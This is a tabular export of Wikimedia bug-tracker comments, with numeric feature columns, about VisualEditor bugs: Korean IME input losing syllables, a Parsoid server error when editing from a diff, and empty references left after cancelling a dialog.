https://gerrit.wikimedia.org/r/80080",,,1377027661,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,29.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.458333333333333,0.9166666666666666,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

GERRIT_URL"
250732,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"I believe the following patch resolves the problem on those platforms where there still was one: https://gerrit.wikimedia.org/r/#/c/79451 . At least, the patch seems to fix the Korean ibus method on Ubuntu+Chromium. However it's hard to be sure because of the problems reproducing the bug.",,,1376936141,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,6.0,14.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,4.0,12.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,14.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,4.26530612244898,0.7959183673469388,"I believe the following patch resolves the problem on those platforms where there still was one: URL . At least, the patch seems to fix the Korean ibus method on Ubuntu+Chromium. However it's hard to be sure because of the problems reproducing the bug."
250726,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:

==Test Cases==

글험 합니다. 다닏ㄴ합하험허시ㅅ (2013.8.14, Chrome of Windows XP)

글 험 다. (2013.8.14, Chrome of Mac OS X)

한글 시험 합니다. (2013.8.14, Chrome of Ubuntu, iBus 1.4.1)",,,1376553611,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,48.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8518518518518516,0.5740740740740741,"**ryuch** wrote:

==Test Cases==

글험 합니다. 다닏ㄴ합하험허시ㅅ (2013.8.14, Chrome of Windows XP)

글 험 다. (2013.8.14, Chrome of Mac OS X)

한글 시험 합니다. (2013.8.14, Chrome of Ubuntu, iBus 1.4.1)"
250719,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:

awesome. anyway.
Please make it opt-in on KOWP.

I will catch you guys at the lounge.",,,1376085848,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.78125,0.78125,"**ryuch** wrote:

awesome. anyway.
Please make it opt-in on KOWP.

I will catch you guys at the lounge."
250714,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,@Ryu not deliberately! Come to the VE lounge tomorrow (hackathon room) and speak to me and David.,,,1376070283,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.190476190476191,0.9047619047619048,SCREEN_NAME not deliberately! Come to the VE lounge tomorrow (hackathon room) and speak to me and David.
250708,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,It also works on Chrome for WinXP/Win7/Android(though it is not supported).,,,1376067911,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,18.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.9411764705882353,It also works on Chrome for WinXP/Win7/Android(though it is not supported).
250704,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:

You fixed this? It works.

http://en.wikipedia.org/w/index.php?title=User%3ARyuch&diff=567832037&oldid=567831839

I tested with Chrome on Ubuntu at this moment.",,,1376063216,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,18.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9642857142857144,0.75,"**ryuch** wrote:

You fixed this? It works.

URL

I tested with Chrome on Ubuntu at this moment."
250700,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Now the problem seems something changed, but It is yet hard.

I input '한글 결과는 언제 나오나요'

but in the en wikipedia's visual editor @ chrome ,
it have 'ㄱㅡㄹ ㅏㄴㄴ 제 오요나나제언ㅇㅏ결겨ㄱㅡ'.

See http://en.wikipedia.org/w/index.php?title=User:Galadrien/sandbox&diff=564998163&oldid=549762292 .",,,1374283399,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,2,,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,19.0,0.0,8.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.1666666666666665,0.7916666666666666,"Now the problem seems something changed, but It is yet hard.

I input '한글 결과는 언제 나오나요'

but in the en wikipedia's visual editor @ chrome ,
it have 'ㄱㅡㄹ ㅏㄴㄴ 제 오요나나제언ㅇㅏ결겨ㄱㅡ'.

See URL ."
250696,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:


I think VE team is working on this issue. Did you change the code related this?
I think so.
DangSunM's report is not what I got when I made the first report.

Now I tested on Chome of iPad. It is different also.
I input '한글 시험 합니다.', same as previous.
And now I have '한글 싷험 합닏다.', like the think 
http://en.wikipedia.org/w/index.php?title=User:Ryuch&curid=284811&diff=564158229&oldid=554104287
.

It duplicates the begining consonant of a syllable to the place of ending consonant of a syllable just before it in a word when the ending consonant is null.",,,1373767362,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.5,3.5,1.5,0.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,4.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.0,2.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,12.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.5,2.5,9.0,1.5,1.0,7.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.5,8.0,8.5,0.5,3.0,0.0,6.5,0.0,2.0,2.5,0.0,1.5,0.0,0.0,0.0,3.160906298003072,0.6559139784946236,"**ryuch** wrote:


I think VE team is working on this issue. Did you change the code related this?
I think so.
DangSunM's report is not what I got when I made the first report.

Now I tested on Chome of iPad. It is different also.
I input '한글 시험 합니다.', same as previous.
And now I have '한글 싷험 합닏다.', like the think 
URL
.

It duplicates the begining consonant of a syllable to the place of ending consonant of a syllable just before it in a word when the ending consonant is null."
250688,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"I also tried to write some Korean words using visual editor
"" 시 각 편 집 기 테 스 트 근데 잘 안되""
but it types 
"" 시 각 편 집 기 테 스 트 근데 잘 안되 되도안아잘자ㅈ데근ㄱ트스ㅋ크스ㅅ테ㅌㅍ페기집지편펴가"" see http://ko.wikipedia.org/w/index.php?title=%EC%82%AC%EC%9A%A9%EC%9E%90%3A%EB%B6%84%EB%8B%B9%EC%84%A0M&diff=11132326&oldid=11087937 for details",,,1373675877,,PHID-USER-dgjw4xb5i5zdwsiwvli5,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,35.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.7916666666666665,0.6666666666666666,"I also tried to write some Korean words using visual editor
"" 시 각 편 집 기 테 스 트 근데 잘 안되""
but it types 
"" 시 각 편 집 기 테 스 트 근데 잘 안되 되도안아잘자ㅈ데근ㄱ트스ㅋ크스ㅅ테ㅌㅍ페기집지편펴가"" see URL for details"
250682,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Yes, lack of reliable IME support would be a show-stopper.",,,1373024925,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Yes, lack of reliable IME support would be a show-stopper."
250675,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:

This was feed backed to 
http://www.mediawiki.org/w/index.php?title=Thread:VisualEditor/Feedback/i_can%27t_type_a_east_asian_character

If you cannot resolve the problem in time, we'd better postpone the deployment on Korean Wikipedia or other Korean projects.",,,1373005232,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,15.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,12.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.675,0.85,"**ryuch** wrote:

This was feed backed to 
URL

If you cannot resolve the problem in time, we'd better postpone the deployment on Korean Wikipedia or other Korean projects."
250668,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"(In reply to comment #4)
> The latin text in iBus Korean is:
> 
> gks rmf [SPACE] tl gja [SPACE] gkq sl ek
> 
> Typing just ""gksr"" the following events are fired:
> 
> compositionstart
> g,k,s
> compositionend
> compositionstart
> r
> compositionend


I'm seeing slightly different behaviour on Chromium 25.0.1364.160-0ubuntu0.12.04.1 using ibus 1.4.1-3ubuntu1 and ibus-hangul 1.3.1-3build1.

If I start with an almost blank document (just the letter ""A"" with the cursor immediately after), then I can type ""gksrmf tlgja gkqslek"" and get exactly the expected characters """"한글 시험 합니다"". The event sequence is as it should be (with the second compositionend only happening when I hit space).

However, if I then type the full stop, it goes *after* the cursor.",,,1372981869,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,1.0,2.0,0.5,0.0,1.5,0.0,3.0,0.0,8.0,5.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,3.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.5,12.5,2.0,1.0,5.0,0.0,0.0,0.0,0.5,2.5,0.0,2.5,0.0,4.5,5.5,9.5,0.0,4.5,0.0,4.5,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,3.683098591549296,0.6408450704225352,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


I'm seeing slightly different behaviour on Chromium 25.0.1364.160-0ubuntu0.12.04.1 using ibus 1.4.1-3ubuntu1 and ibus-hangul 1.3.1-3build1.

If I start with an almost blank document (just the letter ""A"" with the cursor immediately after), then I can type ""gksrmf tlgja gkqslek"" and get exactly the expected characters """"한글 시험 합니다"". The event sequence is as it should be (with the second compositionend only happening when I hit space).

However, if I then type the full stop, it goes *after* the cursor."
250662,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Trying to type into an empty/slug paragraph causes all sorts of whacky behaviour and should probably be filed as a separate bug

The latin text in iBus Korean is:

gks rmf [SPACE] tl gja [SPACE] gkq sl ek

Typing just ""gksr"" the following events are fired:

compositionstart
g,k,s
compositionend
compositionstart
r
compositionend

with the final compositionend causing the second Hangul character to end prematurely.

Need to investigate if this a browser bug related to IME's which allow continuous typing across graphemes.",,,1372975898,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0.5,0.0,0.0,1.5,0.0,5.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,8.0,0.0,2.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,2.0,6.0,1.0,0.5,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,8.0,7.5,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,2.5,0.0,0.0,2.0,4.179461279461279,0.8158249158249158,"Trying to type into an empty/slug paragraph causes all sorts of whacky behaviour and should probably be filed as a separate bug

The latin text in iBus Korean is:

gks rmf [SPACE] tl gja [SPACE] gkq sl ek

Typing just ""gksr"" the following events are fired:

compositionstart
g,k,s
compositionend
compositionstart
r
compositionend

with the final compositionend causing the second Hangul character to end prematurely.

Need to investigate if this a browser bug related to IME's which allow continuous typing across graphemes."
250656,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,This looks quite a lot like an IME issue (at least with iBus Korean).,,,1372970105,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,18.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,3.2941176470588234,1.0,This looks quite a lot like an IME issue (at least with iBus Korean).
250651,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,David and I may take a look at this over a cocktail.,,,1372965335,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.9230769230769231,David and I may take a look at this over a cocktail.
250647,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,It also comes to Chrome on Win7.,,,1372823539,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,It also comes to Chrome on Win7.
52615,"VisualEditor: ""Error contacting the Parsoid server"" while editing a section in a diff","From En:Wikipedia

""Interesting one that i just wandered across while looking at an old Articles for creation backlog drive, that causes a very interesting error popup to appear (Tested in Firefox 22)

Navigate to http://en.wikipedia.org/w/index.php?title=Baylor_University_Institute_for_Oral_History&diff=555106174&oldid=prev
Try to edit the ""Mission"" section in the VE.
Result: An error popup stating Error loading data from server: parsoidserver: Error contacting the Parsoid server. Would you like to retry?
This seems to be caused by the ""oldid=prev"" part. Normally this loads the revision prior to the Diff part of the URL, but it seems the VE cannot handle that correctly. Excirial (Contact me,Contribs) 21:25, 2 July 2013 (UTC)""


I tried this and had the same experience on Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372801620,1373894349.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-du5yifaebt3zb2zhinvr,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.5,0.5,0.5,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.5,3.5,9.0,0.0,2.5,0.0,0.5,0.5,1.5,0.0,0.0,0.5,0.5,0.5,1.0,3.0,0.0,0.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.0,0.0,10.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,6.5,0.5,17.0,0.5,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,3.5,9.0,9.0,0.5,3.5,0.0,3.5,0.0,1.0,1.5,0.5,1.5,0.0,0.0,0.0,3.82093837535014,0.7275910364145658,"From En:Wikipedia

""Interesting one that i just wandered across while looking at an old Articles for creation backlog drive, that causes a very interesting error popup to appear (Tested in Firefox 22)

Navigate to URL
Try to edit the ""Mission"" section in the VE.
Result: An error popup stating Error loading data from server: parsoidserver: Error contacting the Parsoid server. Would you like to retry?
This seems to be caused by the ""oldid=prev"" part. Normally this loads the revision prior to the Diff part of the URL, but it seems the VE cannot handle that correctly. Excirial (Contact me,Contribs) 21:25, 2 July 2013 (UTC)""


I tried this and had the same experience on Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal"
52609,VisualEditor: Cancelling out of adding a reference adds an empty reference,"From David Gerard on the en.wp feedback page: if you go to add a reference and then choose not to continue and exit out of the template and save the page instead of going back, VisualEditor creates an empty closed reference tab </re>.  See here:
https://en.wikipedia.org/w/index.php?title=User:David_Gerard&diff=562600190&oldid=545746964

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52182",Medium,50.0,1372799760,1392747780.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-5ftakv5wuzkf73akgiop,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,10.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,4.0,3.573170731707317,0.6463414634146342,"From David Gerard on the en.wp feedback page: if you go to add a reference and then choose not to continue and exit out of the template and save the page instead of going back, VisualEditor creates an empty closed reference tab </re>.  See here:
URL

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
249527,VisualEditor: Cancelling out of adding a reference adds an empty reference,This was fixed in (I think) August; sorry for not noting it until now.,,,1392747780,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5ftakv5wuzkf73akgiop,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.1666666666666665,1.0,This was fixed in (I think) August; sorry for not noting it until now.
249515,VisualEditor: Cancelling out of adding a reference adds an empty reference,"This is because we currently have the logic for a creating refernece (and potentially re-using an existing reference) and actually interacting with the content of a reference in a separate dialog. As soon as you go into the editor it inserts an empty reference and lets you edit that.

